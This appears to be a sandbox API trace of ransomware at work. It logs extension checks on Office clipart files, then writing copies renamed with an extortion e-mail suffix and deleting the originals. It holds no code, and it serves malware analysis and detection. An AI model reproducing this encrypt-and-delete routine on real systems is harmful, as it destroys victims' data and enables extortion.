	[0202.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0202.728] lstrlenW (lpString=".zip") returned 4
	[0202.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.728] lstrlenW (lpString=".rar") returned 4
	[0202.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.728] lstrlenW (lpString=".bz2") returned 4
	[0202.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.728] lstrlenW (lpString=".7z") returned 3
	[0202.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0202.728] lstrlenW (lpString=".dbf") returned 4
	[0202.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0202.728] lstrlenW (lpString=".1cd") returned 4
	[0202.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0202.728] lstrlenW (lpString=".jpg") returned 4
	[0202.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0202.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0202.728] lstrlenW (lpString=".doc") returned 4
	[0202.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.728] lstrlenW (lpString=".docx") returned 5
	[0202.728] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0202.728] lstrlenW (lpString=".pdf") returned 4
	[0202.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.728] lstrlenW (lpString=".xls") returned 4
	[0202.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.729] lstrlenW (lpString=".xlsx") returned 5
	[0202.729] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0202.729] lstrlenW (lpString=".ppt") returned 4
	[0202.729] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0202.729] lstrlenW (lpString=".zip") returned 4
	[0202.729] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.729] lstrlenW (lpString=".rar") returned 4
	[0202.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.729] lstrlenW (lpString=".bz2") returned 4
	[0202.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.729] lstrlenW (lpString=".7z") returned 3
	[0202.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0202.729] lstrlenW (lpString=".dbf") returned 4
	[0202.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0202.729] lstrlenW (lpString=".1cd") returned 4
	[0202.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0202.729] lstrlenW (lpString=".jpg") returned 4
	[0202.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.729] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.729] lstrlenW (lpString="J0152570.WMF") returned 12
	[0202.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0202.730] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=3368) returned 1
	[0202.730] CloseHandle (hObject=0x460) returned 1
	[0202.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 0x220
	[0202.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0202.731] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.731] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0202.733] GetLastError () returned 0x0
	[0202.733] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xd28, lpOverlapped=0x0) returned 1
	[0202.735] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xd30, lpOverlapped=0x0) returned 1
	[0202.736] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.736] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.736] SetEndOfFile (hFile=0x594) returned 1
	[0202.736] CloseHandle (hObject=0x594) returned 1
	[0202.736] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.736] SetEndOfFile (hFile=0x460) returned 1
	[0202.739] CloseHandle (hObject=0x460) returned 1
	[0202.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 1
	[0202.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0202.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0202.740] lstrlenW (lpString=".doc") returned 4
	[0202.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.740] lstrlenW (lpString=".docx") returned 5
	[0202.740] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0202.740] lstrlenW (lpString=".pdf") returned 4
	[0202.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.740] lstrlenW (lpString=".xls") returned 4
	[0202.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.740] lstrlenW (lpString=".xlsx") returned 5
	[0202.740] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0202.741] lstrlenW (lpString=".ppt") returned 4
	[0202.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0202.741] lstrlenW (lpString=".zip") returned 4
	[0202.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.741] lstrlenW (lpString=".rar") returned 4
	[0202.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.741] lstrlenW (lpString=".bz2") returned 4
	[0202.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.741] lstrlenW (lpString=".7z") returned 3
	[0202.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0202.741] lstrlenW (lpString=".dbf") returned 4
	[0202.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0202.741] lstrlenW (lpString=".1cd") returned 4
	[0202.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0202.741] lstrlenW (lpString=".jpg") returned 4
	[0202.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0202.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0202.741] lstrlenW (lpString=".doc") returned 4
	[0202.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.741] lstrlenW (lpString=".docx") returned 5
	[0202.741] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0202.741] lstrlenW (lpString=".pdf") returned 4
	[0202.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.741] lstrlenW (lpString=".xls") returned 4
	[0202.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.741] lstrlenW (lpString=".xlsx") returned 5
	[0202.741] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0202.742] lstrlenW (lpString=".ppt") returned 4
	[0202.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0202.742] lstrlenW (lpString=".zip") returned 4
	[0202.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.742] lstrlenW (lpString=".rar") returned 4
	[0202.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.742] lstrlenW (lpString=".bz2") returned 4
	[0202.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.742] lstrlenW (lpString=".7z") returned 3
	[0202.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0202.742] lstrlenW (lpString=".dbf") returned 4
	[0202.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0202.742] lstrlenW (lpString=".1cd") returned 4
	[0202.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0202.742] lstrlenW (lpString=".jpg") returned 4
	[0202.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.742] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.742] lstrlenW (lpString="J0152590.WMF") returned 12
	[0202.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0202.744] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=10932) returned 1
	[0202.744] CloseHandle (hObject=0x460) returned 1
	[0202.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 0x220
	[0202.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0202.745] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.745] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0202.745] GetLastError () returned 0x0
	[0202.745] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x2ab4, lpOverlapped=0x0) returned 1
	[0203.488] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x2ac0, lpOverlapped=0x0) returned 1
	[0203.490] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.490] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0203.490] SetEndOfFile (hFile=0x594) returned 1
	[0203.490] CloseHandle (hObject=0x594) returned 1
	[0203.490] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.490] SetEndOfFile (hFile=0x460) returned 1
	[0203.493] CloseHandle (hObject=0x460) returned 1
	[0203.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 1
	[0203.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0203.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0203.495] lstrlenW (lpString=".doc") returned 4
	[0203.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.495] lstrlenW (lpString=".docx") returned 5
	[0203.495] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0203.495] lstrlenW (lpString=".pdf") returned 4
	[0203.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.495] lstrlenW (lpString=".xls") returned 4
	[0203.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.495] lstrlenW (lpString=".xlsx") returned 5
	[0203.495] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0203.495] lstrlenW (lpString=".ppt") returned 4
	[0203.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0203.495] lstrlenW (lpString=".zip") returned 4
	[0203.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.495] lstrlenW (lpString=".rar") returned 4
	[0203.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.495] lstrlenW (lpString=".bz2") returned 4
	[0203.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.495] lstrlenW (lpString=".7z") returned 3
	[0203.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0203.496] lstrlenW (lpString=".dbf") returned 4
	[0203.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0203.496] lstrlenW (lpString=".1cd") returned 4
	[0203.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0203.496] lstrlenW (lpString=".jpg") returned 4
	[0203.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0203.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0203.496] lstrlenW (lpString=".doc") returned 4
	[0203.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.496] lstrlenW (lpString=".docx") returned 5
	[0203.496] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0203.496] lstrlenW (lpString=".pdf") returned 4
	[0203.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.496] lstrlenW (lpString=".xls") returned 4
	[0203.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.496] lstrlenW (lpString=".xlsx") returned 5
	[0203.496] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0203.496] lstrlenW (lpString=".ppt") returned 4
	[0203.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0203.496] lstrlenW (lpString=".zip") returned 4
	[0203.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.496] lstrlenW (lpString=".rar") returned 4
	[0203.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.496] lstrlenW (lpString=".bz2") returned 4
	[0203.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.496] lstrlenW (lpString=".7z") returned 3
	[0203.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0203.497] lstrlenW (lpString=".dbf") returned 4
	[0203.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0203.497] lstrlenW (lpString=".1cd") returned 4
	[0203.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0203.497] lstrlenW (lpString=".jpg") returned 4
	[0203.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.497] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0203.497] lstrlenW (lpString="J0152628.WMF") returned 12
	[0203.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0203.499] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=30812) returned 1
	[0203.499] CloseHandle (hObject=0x460) returned 1
	[0203.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 0x220
	[0203.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0203.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0203.500] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.500] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0203.501] GetLastError () returned 0x0
	[0203.501] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x785c, lpOverlapped=0x0) returned 1
	[0203.503] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x7860, lpOverlapped=0x0) returned 1
	[0203.505] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.505] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0203.505] SetEndOfFile (hFile=0x594) returned 1
	[0203.505] CloseHandle (hObject=0x594) returned 1
	[0203.505] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.505] SetEndOfFile (hFile=0x460) returned 1
	[0203.508] CloseHandle (hObject=0x460) returned 1
	[0203.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 1
	[0203.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0203.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0203.510] lstrlenW (lpString=".doc") returned 4
	[0203.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.510] lstrlenW (lpString=".docx") returned 5
	[0203.510] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0203.510] lstrlenW (lpString=".pdf") returned 4
	[0203.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.510] lstrlenW (lpString=".xls") returned 4
	[0203.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.510] lstrlenW (lpString=".xlsx") returned 5
	[0203.510] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0203.510] lstrlenW (lpString=".ppt") returned 4
	[0203.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
